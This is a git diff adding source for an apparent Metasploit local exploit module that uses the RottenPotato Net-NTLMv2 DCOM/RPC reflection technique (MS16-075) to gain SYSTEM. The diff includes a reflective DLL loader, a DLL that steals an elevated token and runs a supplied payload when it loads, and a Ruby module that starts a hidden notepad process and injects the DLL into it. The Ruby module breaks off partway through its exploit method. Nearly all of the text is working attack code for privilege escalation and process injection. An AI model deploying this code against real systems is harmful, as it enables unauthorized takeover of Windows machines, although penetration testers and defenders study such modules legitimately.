|
||||||
|
|
||||||
|
// check if their are any relocations present
|
||||||
|
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||||
|
{
|
||||||
|
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
|
||||||
|
|
||||||
|
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||||
|
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||||
|
|
||||||
|
// and we itterate through all entries...
|
||||||
|
while (uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||||
|
{
|
||||||
|
// uiValueA = the VA for this relocation block
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||||
|
|
||||||
|
// uiValueB = number of entries in this relocation block
|
||||||
|
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||||
|
|
||||||
|
// uiValueD is now the first entry in the current relocation block
|
||||||
|
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||||
|
|
||||||
|
// we itterate through all the entries in the current block...
|
||||||
|
while (uiValueB--)
|
||||||
|
{
|
||||||
|
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||||
|
// we dont use a switch statement to avoid the compiler building a jump table
|
||||||
|
// which would not be very position independent!
|
||||||
|
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||||
|
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||||
|
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||||
|
{
|
||||||
|
register DWORD dwInstruction;
|
||||||
|
register DWORD dwAddress;
|
||||||
|
register WORD wImm;
|
||||||
|
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||||
|
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||||
|
// flip the words to get the instruction as expected
|
||||||
|
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||||
|
// sanity chack we are processing a MOV instruction...
|
||||||
|
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||||
|
{
|
||||||
|
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||||
|
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||||
|
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||||
|
// apply the relocation to the target address
|
||||||
|
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||||
|
// now create a new instruction with the same opcode and register param.
|
||||||
|
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||||
|
// patch in the relocated address...
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||||
|
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||||
|
// now flip the instructions words and patch back into the code...
|
||||||
|
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||||
|
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||||
|
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||||
|
|
||||||
|
// get the next entry in the current relocation block
|
||||||
|
uiValueD += sizeof(IMAGE_RELOC);
|
||||||
|
}
|
||||||
|
|
||||||
|
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
// get the next entry in the relocation directory
|
||||||
|
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 6: call our images entry point
|
||||||
|
|
||||||
|
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||||
|
|
||||||
|
OUTPUTDBG("Flushing the instruction cache");
|
||||||
|
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||||
|
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||||
|
|
||||||
|
// call our respective entry point, fudging our hInstance value
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||||
|
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||||
|
#else
|
||||||
|
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||||
|
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||||
|
return uiValueA;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
// you must implement this function...
|
||||||
|
extern DWORD DLLEXPORT Init(SOCKET socket);
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if (lpReserved != NULL)
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,223 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
#include <Winsock2.h>
|
||||||
|
#include <intrin.h>
|
||||||
|
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
// Enable this define to turn on OutputDebugString support
|
||||||
|
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||||
|
|
||||||
|
// Enable this define to turn on locking of memory to prevent paging
|
||||||
|
#define ENABLE_STOPPAGING 1
|
||||||
|
|
||||||
|
#define EXITFUNC_SEH 0xEA320EFE
|
||||||
|
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||||
|
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||||
|
|
||||||
|
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
|
||||||
|
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||||
|
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||||
|
|
||||||
|
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||||
|
#define NTDLLDLL_HASH 0x3CFA685D
|
||||||
|
|
||||||
|
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||||
|
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||||
|
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||||
|
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
typedef LPVOID(WINAPI * VIRTUALLOCK)(LPVOID, SIZE_T);
|
||||||
|
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
typedef LPVOID(WINAPI * OUTPUTDEBUG)(LPCSTR);
|
||||||
|
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||||
|
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||||
|
|
||||||
|
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||||
|
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||||
|
#define ARM_MOVW 0xF2400000
|
||||||
|
#define ARM_MOVT 0xF2C00000
|
||||||
|
|
||||||
|
#define HASH_KEY 13
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _rotr )
|
||||||
|
|
||||||
|
__forceinline DWORD ror(DWORD d)
|
||||||
|
{
|
||||||
|
return _rotr(d, HASH_KEY);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline DWORD _hash(char * c)
|
||||||
|
{
|
||||||
|
register DWORD h = 0;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
h = ror(h);
|
||||||
|
h += *c;
|
||||||
|
} while (*++c);
|
||||||
|
|
||||||
|
return h;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
typedef struct _UNICODE_STR
|
||||||
|
{
|
||||||
|
USHORT Length;
|
||||||
|
USHORT MaximumLength;
|
||||||
|
PWSTR pBuffer;
|
||||||
|
} UNICODE_STR, *PUNICODE_STR;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||||
|
//__declspec( align(8) )
|
||||||
|
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||||
|
{
|
||||||
|
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
PVOID DllBase;
|
||||||
|
PVOID EntryPoint;
|
||||||
|
ULONG SizeOfImage;
|
||||||
|
UNICODE_STR FullDllName;
|
||||||
|
UNICODE_STR BaseDllName;
|
||||||
|
ULONG Flags;
|
||||||
|
SHORT LoadCount;
|
||||||
|
SHORT TlsIndex;
|
||||||
|
LIST_ENTRY HashTableEntry;
|
||||||
|
ULONG TimeDateStamp;
|
||||||
|
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||||
|
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||||
|
{
|
||||||
|
DWORD dwLength;
|
||||||
|
DWORD dwInitialized;
|
||||||
|
LPVOID lpSsHandle;
|
||||||
|
LIST_ENTRY InLoadOrderModuleList;
|
||||||
|
LIST_ENTRY InMemoryOrderModuleList;
|
||||||
|
LIST_ENTRY InInitializationOrderModuleList;
|
||||||
|
LPVOID lpEntryInProgress;
|
||||||
|
} PEB_LDR_DATA, *PPEB_LDR_DATA;
|
||||||
|
|
||||||
|
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||||
|
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||||
|
{
|
||||||
|
struct _PEB_FREE_BLOCK * pNext;
|
||||||
|
DWORD dwSize;
|
||||||
|
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
|
||||||
|
|
||||||
|
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||||
|
// WinDbg> dt -v ntdll!_PEB
|
||||||
|
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||||
|
{
|
||||||
|
BYTE bInheritedAddressSpace;
|
||||||
|
BYTE bReadImageFileExecOptions;
|
||||||
|
BYTE bBeingDebugged;
|
||||||
|
BYTE bSpareBool;
|
||||||
|
LPVOID lpMutant;
|
||||||
|
LPVOID lpImageBaseAddress;
|
||||||
|
PPEB_LDR_DATA pLdr;
|
||||||
|
LPVOID lpProcessParameters;
|
||||||
|
LPVOID lpSubSystemData;
|
||||||
|
LPVOID lpProcessHeap;
|
||||||
|
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||||
|
LPVOID lpFastPebLockRoutine;
|
||||||
|
LPVOID lpFastPebUnlockRoutine;
|
||||||
|
DWORD dwEnvironmentUpdateCount;
|
||||||
|
LPVOID lpKernelCallbackTable;
|
||||||
|
DWORD dwSystemReserved;
|
||||||
|
DWORD dwAtlThunkSListPtr32;
|
||||||
|
PPEB_FREE_BLOCK pFreeList;
|
||||||
|
DWORD dwTlsExpansionCounter;
|
||||||
|
LPVOID lpTlsBitmap;
|
||||||
|
DWORD dwTlsBitmapBits[2];
|
||||||
|
LPVOID lpReadOnlySharedMemoryBase;
|
||||||
|
LPVOID lpReadOnlySharedMemoryHeap;
|
||||||
|
LPVOID lpReadOnlyStaticServerData;
|
||||||
|
LPVOID lpAnsiCodePageData;
|
||||||
|
LPVOID lpOemCodePageData;
|
||||||
|
LPVOID lpUnicodeCaseTableData;
|
||||||
|
DWORD dwNumberOfProcessors;
|
||||||
|
DWORD dwNtGlobalFlag;
|
||||||
|
LARGE_INTEGER liCriticalSectionTimeout;
|
||||||
|
DWORD dwHeapSegmentReserve;
|
||||||
|
DWORD dwHeapSegmentCommit;
|
||||||
|
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||||
|
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||||
|
DWORD dwNumberOfHeaps;
|
||||||
|
DWORD dwMaximumNumberOfHeaps;
|
||||||
|
LPVOID lpProcessHeaps;
|
||||||
|
LPVOID lpGdiSharedHandleTable;
|
||||||
|
LPVOID lpProcessStarterHelper;
|
||||||
|
DWORD dwGdiDCAttributeList;
|
||||||
|
LPVOID lpLoaderLock;
|
||||||
|
DWORD dwOSMajorVersion;
|
||||||
|
DWORD dwOSMinorVersion;
|
||||||
|
WORD wOSBuildNumber;
|
||||||
|
WORD wOSCSDVersion;
|
||||||
|
DWORD dwOSPlatformId;
|
||||||
|
DWORD dwImageSubsystem;
|
||||||
|
DWORD dwImageSubsystemMajorVersion;
|
||||||
|
DWORD dwImageSubsystemMinorVersion;
|
||||||
|
DWORD dwImageProcessAffinityMask;
|
||||||
|
DWORD dwGdiHandleBuffer[34];
|
||||||
|
LPVOID lpPostProcessInitRoutine;
|
||||||
|
LPVOID lpTlsExpansionBitmap;
|
||||||
|
DWORD dwTlsExpansionBitmapBits[32];
|
||||||
|
DWORD dwSessionId;
|
||||||
|
ULARGE_INTEGER liAppCompatFlags;
|
||||||
|
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||||
|
LPVOID lppShimData;
|
||||||
|
LPVOID lpAppCompatInfo;
|
||||||
|
UNICODE_STR usCSDVersion;
|
||||||
|
LPVOID lpActivationContextData;
|
||||||
|
LPVOID lpProcessAssemblyStorageMap;
|
||||||
|
LPVOID lpSystemDefaultActivationContextData;
|
||||||
|
LPVOID lpSystemAssemblyStorageMap;
|
||||||
|
DWORD dwMinimumStackCommit;
|
||||||
|
} _PEB, *_PPEB;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD offset : 12;
|
||||||
|
WORD type : 4;
|
||||||
|
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,79 @@
|
||||||
|
#include "stdafx.h"
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
#include "MSFRottenPotato.h"
|
||||||
|
|
||||||
|
extern "C" HINSTANCE hAppInstance;
|
||||||
|
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
|
||||||
|
|
||||||
|
HANDLE ElevatedToken;
|
||||||
|
|
||||||
|
VOID ExecutePayload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
SetThreadToken(NULL, ElevatedToken);
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
}
|
||||||
|
|
||||||
|
int RottenPotato()
|
||||||
|
{
|
||||||
|
CMSFRottenPotato* test = new CMSFRottenPotato();
|
||||||
|
test->startCOMListenerThread();
|
||||||
|
test->startRPCConnectionThread();
|
||||||
|
test->triggerDCOM();
|
||||||
|
int ret = 0;
|
||||||
|
while (true) {
|
||||||
|
if (test->negotiator->authResult != -1) {
|
||||||
|
/*Enable the priv if possible*/
|
||||||
|
HANDLE hToken;
|
||||||
|
TOKEN_PRIVILEGES tkp;
|
||||||
|
|
||||||
|
// Get a token for this process.
|
||||||
|
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(),
|
||||||
|
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return 0;
|
||||||
|
|
||||||
|
// Get the LUID for the Impersonate privilege.
|
||||||
|
int res = LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME,
|
||||||
|
&tkp.Privileges[0].Luid);
|
||||||
|
|
||||||
|
tkp.PrivilegeCount = 1; // one privilege to set
|
||||||
|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
// Get the impersonate priv for this process.
|
||||||
|
res = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
|
||||||
|
|
||||||
|
QuerySecurityContextToken(test->negotiator->phContext, &ElevatedToken);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Sleep(500);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
BOOL bReturnValue = TRUE;
|
||||||
|
DWORD dwResult = 0;
|
||||||
|
|
||||||
|
switch (dwReason)
|
||||||
|
{
|
||||||
|
case DLL_QUERY_HMODULE:
|
||||||
|
if (lpReserved != NULL)
|
||||||
|
*(HMODULE *)lpReserved = hAppInstance;
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_ATTACH:
|
||||||
|
hAppInstance = hinstDLL;
|
||||||
|
RottenPotato();
|
||||||
|
ExecutePayload(lpReserved);
|
||||||
|
break;
|
||||||
|
case DLL_PROCESS_DETACH:
|
||||||
|
case DLL_THREAD_ATTACH:
|
||||||
|
case DLL_THREAD_DETACH:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return bReturnValue;
|
||||||
|
}
|
Binary file not shown.
|
@ -0,0 +1,8 @@
|
||||||
|
// stdafx.cpp : source file that includes just the standard includes
|
||||||
|
// MSFRottenPotato.pch will be the pre-compiled header
|
||||||
|
// stdafx.obj will contain the pre-compiled type information
|
||||||
|
|
||||||
|
#include "stdafx.h"
|
||||||
|
|
||||||
|
// TODO: reference any additional headers you need in STDAFX.H
|
||||||
|
// and not in this file
|
|
@ -0,0 +1,16 @@
|
||||||
|
// stdafx.h : include file for standard system include files,
|
||||||
|
// or project specific include files that are used frequently, but
|
||||||
|
// are changed infrequently
|
||||||
|
//
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "targetver.h"
|
||||||
|
|
||||||
|
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||||
|
// Windows Header Files:
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||||
|
|
||||||
|
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||||
|
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||||
|
|
||||||
|
#include <SDKDDKVer.h>
|
|
@ -0,0 +1,144 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/post/windows/reflective_dll_injection'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
include Msf::Post::Windows::Process
|
||||||
|
include Msf::Post::Windows::FileInfo
|
||||||
|
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info, {
|
||||||
|
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC',
|
||||||
|
'Description' => %q(
|
||||||
|
Module utilizes the Net-NTLMv2 reflection between DCOM/RPC
|
||||||
|
to achieve a SYSTEM handle for elevation of privilege. Currently the module
|
||||||
|
does not spawn as SYSTEM, however once achieving a shell, one can easily
|
||||||
|
use incognito to impersonate the token.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'FoxGloveSec', # the original Potato exploit
|
||||||
|
'breenmachine', # Rotten Potato NG!
|
||||||
|
'Mumbai' # Austin : port of RottenPotato for reflection & quick module
|
||||||
|
],
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'SessionTypes' => ['meterpreter'],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'EXITFUNC' => 'none',
|
||||||
|
'WfsDelay' => '20'
|
||||||
|
},
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic', {}],
|
||||||
|
['Windows x86', { 'Arch' => ARCH_X86 }],
|
||||||
|
['Windows x64', { 'Arch' => ARCH_X64 }]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'DisableNops' => true
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['MSB', 'MS16-075'],
|
||||||
|
['CVE', '2016-3225'],
|
||||||
|
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],
|
||||||
|
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],
|
||||||
|
['URL', 'https://github.com/breenmachine/RottenPotatoNG']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jan 16 2016',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
}))
|
||||||
|
end
|
||||||
|
|
||||||
|
def assign_target
|
||||||
|
if target.name == 'Automatic'
|
||||||
|
case sysinfo["Architecture"]
|
||||||
|
when 'x86'
|
||||||
|
vprint_status("Found we are on an x86 target")
|
||||||
|
my_target = targets[1]
|
||||||
|
when 'x64'
|
||||||
|
vprint_status("Found we are on an x64 target")
|
||||||
|
my_target = targets[2]
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoTarget, "Unable to determine target")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
my_target = target
|
||||||
|
end
|
||||||
|
return my_target
|
||||||
|
end
|
||||||
|
|
||||||
|
def verify_arch(my_target)
|
||||||
|
if my_target["Arch"] != sysinfo["Architecture"]
|
||||||
|
print_error("Assigned Target Arch = #{my_target.opts['Arch']}")
|
||||||
|
print_error("Actual Target Arch = #{sysinfo['Architecture']}")
|
||||||
|
fail_with(Failure::BadConfig, "Assigned Arch does not match reality")
|
||||||
|
end
|
||||||
|
if client.arch != sysinfo["Architecture"]
|
||||||
|
fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")
|
||||||
|
else
|
||||||
|
vprint_good("Current payload and target Arch match....")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
privs = client.sys.config.getprivs
|
||||||
|
if privs.include?('SeImpersonatePrivilege')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
if is_system?
|
||||||
|
fail_with(Failure::None, 'Session is already elevated')
|
||||||
|
end
|
||||||
|
my_target = assign_target
|
||||||
|
print_status("#{my_target['Arch']}")
|
||||||
|
verify_arch(my_target)
|
||||||
|
if check == Exploit::CheckCode::Safe
|
||||||
|
fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')
|
||||||
|
end
|
||||||
|
if my_target.opts['Arch'] == 'x64'
|
||||||
|
dll_file_name = 'rottenpotato.x64.dll'
|
||||||
|
vprint_status("Assigning payload rottenpotato.x64.dll")
|
||||||
|
elsif my_target.opts['Arch'] == 'x86'
|
||||||
|
dll_file_name = 'rottenpotato.x86.dll'
|
||||||
|
vprint_status("Assigning payload rottenpotato.x86.dll")
|
||||||
|
else
|
||||||
|
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")
|
||||||
|
end
|
||||||
|
print_status('Launching notepad to host the exploit...')
|
||||||
|
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)
|
||||||
|
begin
|
||||||
|
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
|
||||||
|
print_good("Process #{process.pid} launched.")
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError
|
||||||
|
print_error('Operation failed. Trying to elevate the current process...')
|
||||||
|
process = client.sys.process.open
|
||||||
|
end
|
||||||
|
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||||
|
library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name)
|
||||||
|
library_path = ::File.expand_path(library_path)
|
||||||
|
print_status("Injecting exploit into #{process.pid}...")
